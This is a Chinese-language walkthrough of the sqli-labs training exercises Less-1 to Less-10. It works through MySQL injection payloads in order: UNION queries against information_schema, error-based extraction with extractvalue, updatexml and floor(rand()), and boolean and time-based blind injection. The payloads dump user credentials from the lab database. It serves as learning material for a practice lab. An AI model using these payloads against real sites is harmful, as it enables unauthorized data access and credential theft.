SQL注入
写在前面的总结:
Less 1-9的难度的主要提升顺序:
1.正确具体信息可见,错误具体信息可见:
Less1-4,使用union select
将所需字段通过正确具体信息显示;
注意判断是整型还是字符型、单引号或双引号、是否有括号。
2.正确具体信息不可见,错误具体信息可见:
Less 5-6,Double injection
类型,使用报错注入。
3.只有正确、错误信息,没有详细信息:
Less8,基于布尔的盲注,一个一个的爆破出表名、列名、数据内容。
4.没有任何信息
Less 9-10,基于时间的盲注,如果前面字段正确,则执行延时函数-。
Less1和Less2可用思路
1.判断注入点是字符型还是整数型:
输入2-1,如果是整型,2-1会被当做1;如果是字符型,‘2-1’会被当作’2’。
这涉及到MySQL的隐式类型转换,参考链接:https://www.jb51.net/article/101531.htm
2.如果是字符型,判断是否两端是单引号:
2-1"
正常,2-1'
不正常,说明是单引号。
' or '1' = '1
如果能正常运行,说明两端都是单引号,并且空格等字符没有被过滤。
可能会用到#
或者--
,它们都是SQL的行内注释,可以把引号注释掉。
如果用#
,注意它是URL的保留字符,可能需要转义。
如果用--
,需要在后面加上一个空格,为防止两端的空格被过滤,还可以在空格加上其他字符。
3.union select
联合查询
第一步是确定列数:
可以通过union select 1,2,3...
可以确定列数;
也可以通过order by n
确定列数,意思是通过第n列对数据表进行排序。
第二步是确定可以显示的列:
对于1' union select 1,2,3 #
,可能由于设置,只显示多个结果的第一条。
所以要用' union select 1,2,3 #
,第一个结果为空,所以显示的是自己构造的结果,比如说显示2。就说明显示的是第2列,之后只需要构造第2列就可以了。
第三步:利用information_schema
1.获取现有的数据库名
select database()
获取所有的数据库名
select schema_name from information_schema.schemata
2.获取所需数据库的表名
select table_name from information_schema.tables where table_schema = database()
3.获取所需表的列名
select column_name from information_schema.columns where table_name='所需表名' and table_schema=database()
4.获取所需表的全部数据
select col1, col2,... from 所需表
注意:
group_concat(schema_name)
,以组的形式显示,多列多行结果合并成一行,不受行的限制。行与行合并成组,以逗号分隔。列与列则是直接合并,可以自行加入分隔符,如group_concat(col1,',',clo2,',',col3)
。
在用union select
调试的时候,注意前面构造的引号、应该有的列数、最后的-- 任意字符
。
Less-3 GET-Error based-Single quotes with twist-String
做题时错误的思路:
?id=1 //正常
?id=1' -- - //不正常,说明里面的'被替换了,导致单引号配对失败
?id=1\' -- - //正常返回,说明\'被替换成\\'
?id=1\' union select 1 -- -
?id=1\' union select 1,2 -- - //全部正常返回,说明select很有可能被过滤
第3题做到这里就做不下去了,因为想不到select
被过滤要怎么搞。结果看答案发现思路完全错误!
1.在测试的时候应该输入?id=1'
进行测试,这样就可以看到报错:
check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1
像之前直接?id=1' -- -
进行测试,返回的错误结果完全没有关于括号的报错。
之后对单引号进行转义,也是完全错误的思路,这使得select
被作为id字符串的一部分,作用完全没有发挥。至于为什么能正常返回,猜想是因为在查询数据库时,将字符串转成int,正好只取了最前面正常的字符。
2.按照正确的思路继续做:
?id=1') //报错
?id=1') -- - //正常返回
?id=1') union select 1,2,3 -- - //正常,说明一共有3列
?id=0') union select 1,2,3 -- - //显示2,3.说明2和3是可显示列。
?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -
//因为默认只显示1列,所以要用id=0。同样为了显示所有表名,需要用group_concat()将表名连接起来。其中users表看起来不错
?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- - //得到列名
?id=0') union select 1,2,group_concat(id,',',username,',',password) from users -- -
//成功得到所有用户名和密码
Less-4 GET-Error based-Double Quotes-String
?id=1' //正常
?id=1" //报错: for the right syntax to use near '"1"") LIMIT 0,1' at line 1
//说明右侧不仅是双引号,还有小括号
?id=1") -- - //正常
?id=1") union select 1,2,3 -- -
//接下来都是同样的套路,直到最后
?id=0") union select 1,2,group_concat(id,',',username,',',password) from users -- -
Less-5 GET-Double Injection-Single Quotes-String
?id=1 //返回的是you are in
?id=1' //报错
?id=1' -- - //返回you are in
?id=0' union select 1,2,3 -- - //仍旧返回you are in
//用之前的方法无法再获取更多的信息
没有思路,跑去百度。
题目特点是,对于正确的输入,返回相同的结果。对于错误的输入,会出现报错。
所以考虑报错注入的方式,通过报错信息,来进行下一步的使用。
报错注入常用1:extractvalue()
该函数一般用于对XML文档进行查询,用法是extractevalue(目标xml文档,xml路径)
,特点是在有语法错误的时候会报错,而且会显示报错的内容是什么。比如说extractvalue('anything',concat('~',(select database())))
,由于以~开头的肯定不是xml格式的语法,所以一定会报错,在报错时就会显示出数据库的内容是什么了。
测试一下:
?id=0' and extractvalue('anything',concat('~',(select database())))-- -
可以看到报错:XPATH syntax error: '~security'
使用这个思路继续往下做:
?id=0' and extractvalue('anything',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())))-- -
//得到报错XPATH syntax error: '~emails,referers,uagents,users',省略若干步:
?id=0' and extractvalue('anything',concat('~',(select group_concat(id,',',username,',',password) from users)))-- -
//得到报错XPATH syntax error: '~1,Dumb,Dumb,2,Angelina,I-kill-y'
注意:extractvalue()
一次只能报错32个字符的长度,如果需要查看剩余的部分,则需要用substring
方法查看。
?id=0' and extractvalue('anything',concat('~',substring((select group_concat(id,',',username,',',password) from users),32,32)))-- -
//得到报错XPATH syntax error: '~ou,3,Dummy,p@ssword,4,secure,cr'
报错注入常用2:updatexml()
该函数用于更新xml文档,语法为updatexml(目标xml文档,xml路径,更新的内容)
。
第一个和第三个参数填写anything
,第二个参数也是用concat
函数构造一个不存在的xml路径。同样也是32位查询。
测试一下:
?id=0' and updatexml('anything',concat('~',(select group_concat(id,',',username,',',password) from users)),'anything')-- -
//成功得到报错XPATH syntax error: '~1,Dumb,Dumb,2,Angelina,I-kill-y'
报错注入常用3:floor()
参考链接:https://blog.csdn.net/wn314/article/details/89297560
基础知识:
floor()
函数,返回小于等于输入参数的最大整数;
rand()
产生0到1之间随机数;
rand(X)
以X为种子产生0到1之间随机数,X不变,随机数不变;
floor(rand(X)*2)
产生0或1的整数随机数;
count(*)
和group by
统计某列数值的种类及个数。
语句格式:
select count(*) , floor(rand(14)*2) as x from information_schema.tables group by x
即将floor(rand(14)*2)
所在列重命名为x
,并依据x
列的值的种类对表进行统计。
报错原理:
floor(rand(14)*2)
的前4个数值为1 0 1 0。
MySQL首先建立临时表,逐行扫描表information_schema.tables
,第一次计算floor
函数值得到1,查询临时表发现没有键值为1的行,于是准备增加一条记录,此时第二次计算floor
函数值得到0,所以实际插入记录的值为(0,1)
。
MySQL继续扫描information_schema.tables
,第三次计算floor
函数值得到1,查询临时表发现没有健值为1的行,于是准备增加一条记录,此时第四次计算floor
函数值得到0,在插入时出现主键冲突,得到报错类似于Duplicate entry '0' for key 'group_key'
。
也就是说,在MySQL数据库中,使用group by语句时会多次计算同一个rand函数的值,每次返回一个新的结果。
这样我们就可以使用concat
函数将我们构造的SQL语句与floor
函数进行拼接,使得错误结果得以显示。
测试一下:
?id=1' union select 1,count(*), concat((select version()), floor(rand(14)*2)) as c from information_schema.tables group by c -- -
注意union select
后面还是要跟正确数量的列数,concat
函数进行拼接。得到结果Duplicate entry '5.5.44-0ubuntu0.14.04.10' for key 'group_key'
。
?id=1' union select 1,count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema=database()), floor(rand(14)*2)) as c from information_schema.tables group by c -- -
不知道为什么,这里直接group_concat
不管用。
用一下substring:
?id=1' union select 1,count(*), concat(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,100), floor(rand(14)*2)) as c from information_schema.tables group by c -- -
加个substring就能显示……把100换成153能够显示,换成154就不行了。
返回得到Duplicate entry 'emails,referers,uagents,users0' for key 'group_key'
。
当然也可以用下面的方式一个个尝试。
limit 0,1
表示从第一条记录开始取,取1条
?id=1' union select 1,count(*), concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1), floor(rand(14)*2)) as c from information_schema.tables group by c -- -
//得到结果Duplicate entry 'emails0' for key 'group_key',所以第一个表名为referers
//一直改到limit 3,1得到users
最后:
?id=1' union select 1,count(*), concat(substring((select group_concat(id,',',username,',',password) from users),1,100), floor(rand(14)*2)) as c from information_schema.tables group by c -- -
可以得到部分解:
Duplicate entry '1,Dumb,Dumb,2,Angelina,I-kill-you,3,Dummy,p@ssword,4,secure,crap' for key 'group_key'
Less-6 GET-Double Injection-Double Quotes-String
?id=1 //you are in...
?id=1" //报错
?id=1" -- - //you are in...
报错注入尝试1:
1.测试一下能否成功
?id=1" and extractvalue('anything', concat('~', (select database()))) -- -
//报错 XPATH syntax error: '~security'
2.爆表名
?id=1" and extractvalue('anything', concat('~', (select group_concat(table_name) from information_schema.tables where table_schema=database()))) -- -
//报错 XPATH syntax error: '~emails,referers,uagents,users'
3.爆列名
?id=1" and extractvalue('anything', concat('~', (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) -- -
//报错 XPATH syntax error: '~id,username,password'
4.获取表中的所有数据
?id=1" and extractvalue('anything', concat('~', (select group_concat(id,' ',username, ' ', password) from users))) -- -
//报错 XPATH syntax error: '~1 Dumb Dumb,2 Angelina I-kill-y'
//通过substring来获取后面的部分
?id=1" and extractvalue('anything', concat('~', substring((select group_concat(id,' ',username, ' ', password) from users),32,32))) -- -
//报错 XPATH syntax error: '~ou,3 Dummy p@ssword,4 secure cr'
报错注入尝试2:
?id=1" and updatexml('anything', concat('~', (select group_concat(id,' ',username, ' ', password) from users)), 'anything') -- -
//报错 XPATH syntax error: '~1 Dumb Dumb,2 Angelina I-kill-y'
报错注入尝试3:
1.确认列的个数
?id=1" union select 1,2,3-- - //you are in...
2.测试语句能否使用
?id=1" union select 1,count(*),concat((select database()),floor(rand(14)*2)) as c from information_schema.tables group by c-- -
//报错 Duplicate entry 'security0' for key 'group_key'
3.不一步一步做了,直接爆列名
?id=1" union select 1,count(*),concat(substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,100),floor(rand(14)*2)) as c from information_schema.tables group by c-- -
//还是不知道为什么要加上substring。。。
//得到报错 Duplicate entry 'id,username,password0' for key 'group_key'
4.爆数据
?id=1" union select 1,count(*),concat(substring((select group_concat(id,' ',username, ' ', password) from users),1,100),floor(rand(14)*2)) as c from information_schema.tables group by c-- -
//报错 Duplicate entry '1 Dumb Dumb,2 Angelina I-kill-you,3 Dummy p@ssword,4 secure crap' for key 'group_key'
Less-7 GET-Dump into outfile-String
?id=1 //You are in.... Use outfile......
1.判断是整数型还是字符型
?id=18 //报错
?id=18-17 //报错,说明不是整数型,是字符型。如果是整数型,会将18-17计算成1。
2.判断是单引号还是双引号
?id=1' //报错
?id=1" //不报错,说明id两端一定是单引号。如果id两端是双引号,应该单引号时不报错,双引号时报错
3.判断单引号后面是否还有括号
?id=1'-- - //报错,但是没有错误回显,需要自己猜测,那么只有可能是缺少括号的问题
?id=1')-- - //报错,再增加括号
?id=1'))-- - //不报错
4.判断有几列
?id=1')) union select 1,2,3-- - //不报错
试着写入外部文件中:
因为服务器不在我这端,写了文件也看不见,所以暂时不考虑这道题。
Less-8 GET-Blind-Boolian Based-Single Quotes
盲注的特点就是只能区分出是正确还是错误。不带更具体的错误回显。
1.构造盲注格式,检验是否正确
?id=1' union select 1,2,3-- -
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1-- -
//判断表名的第一个字符,注意用and连接,左侧一直有值,右侧只有在数值正确的时候才有值
?id=1' and substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a'-- -
用burp suite爆破一下length:
可以知道表的总长度为29。
接下来利用Python中的import string string.printable
获取所有的可打印字符,构建字典。再用burp suite一个个试表中每一位:
得到第一个字符是e:
然后修改substring(,1,1)
为substring(,2,1)
,得到第二位m,依次类推,可以得到所有的表名,然后得到所有的列名,进而得到所有的数据。
可以看出,整个过程非常麻烦,所以可以自己编写自动化脚本完成这一过程。在编写自动化脚本的过程中,可以使用二分法来加快进度。
Less-9 Blind-Time based-Single Quotes-String
基于时间的盲注,特点是无论正确与否返回的都是一样的。
?id=1' and sleep(3)-- -
//看到出现明显延迟,说明注入成功
//原因是,如果id=1'能够查询到数值,那么就会执行sleep(3);如果id=1'查询不到数值,就不会执行and后面的部分。这里出现延迟,说明后面被执行,说明and前面的部分是正确的。
例如下面的就有明显的延迟:
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29 and sleep(3)-- -
方法类似,只需要一个个尝试。按照顺序获取表的长度、表名、列名、属性名。
Less10的思路也是类似的,只是换成了双引号。